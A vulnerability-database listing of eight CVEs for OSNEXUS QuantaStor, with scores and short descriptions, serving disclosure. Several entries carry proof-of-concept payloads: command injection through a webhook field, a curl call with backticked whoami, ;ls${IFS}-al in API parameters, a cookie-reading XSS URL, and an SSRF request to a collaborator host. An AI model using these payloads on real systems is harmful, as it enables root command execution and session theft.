Vulnerabilities (CVE)

Filtered by vendor Osnexus
Filtered by product Quantastor
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Total 8 CVE
CVE Vendors Products Updated CVSS v2 CVSS v3
CVE-2021-4406 1 Osnexus 1 Quantastor 2025-09-24 N/A 9.1 CRITICAL
An authenticated attacker is able to create alerts that trigger a stored XSS attack. POC * go to the alert manager * open the ITSM tab * add a webhook with the URL/service token value ' -h && id | tee /tmp/ttttttddddssss #' (whitespaces are tab characters) * click add * click apply * create a test alert * The test alert will run the command “id | tee /tmp/ttttttddddssss” as root. * after the test alert inspect /tmp/ttttttddddssss it'll contain the ids ...

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CVE-2021-42083 3 Linux, Microsoft, Osnexus 3 Linux Kernel, Windows, Quantastor 2025-09-22 N/A 8.7 HIGH
An authenticated attacker is able to create alerts that trigger a stored XSS attack. POC * go to the alert manager * open the ITSM tab * add a webhook with the URL/service token value ' -h && id | tee /tmp/ttttttddddssss #' (whitespaces are tab characters) * click add * click apply * create a test alert * The test alert will run the command “id | tee /tmp/ttttttddddssss” as root. * after the test alert inspect /tmp/ttttttddddssss it'll contain the ids ...

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CVE-2021-42082 1 Osnexus 1 Quantastor 2025-09-22 N/A 7.8 HIGH
Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
CVE-2021-42081 1 Osnexus 1 Quantastor 2025-09-22 N/A 9.1 CRITICAL
An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
CVE-2021-42080 1 Osnexus 1 Quantastor 2025-09-22 N/A 7.4 HIGH
An attacker is able to launch a Reflected XSS attack using a crafted URL. POC: Visit the following URL https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>
CVE-2021-42079 1 Osnexus 1 Quantastor 2025-09-22 N/A 6.2 MEDIUM
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&sla ...

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CVE-2017-9978 1 Osnexus 1 Quantastor 2025-04-20 5.0 MEDIUM 5.3 MEDIUM
On the OSNEXUS QuantaStor v4 virtual appliance before 4.3.1, a flaw was found with the error message sent as a response for users that don't exist on the system. An attacker could leverage this information to fine-tune and enumerate valid accounts on the system by searching for common usernames.
CVE-2017-9979 1 Osnexus 1 Quantastor 2025-04-20 4.3 MEDIUM 6.1 MEDIUM
On the OSNEXUS QuantaStor v4 virtual appliance before 4.3.1, if the REST call invoked does not exist, an error will be triggered containing the invalid method previously invoked. The response sent to the user isn't sanitized in this case. An attacker can leverage this issue by including arbitrary HTML or JavaScript code as a parameter, aka XSS.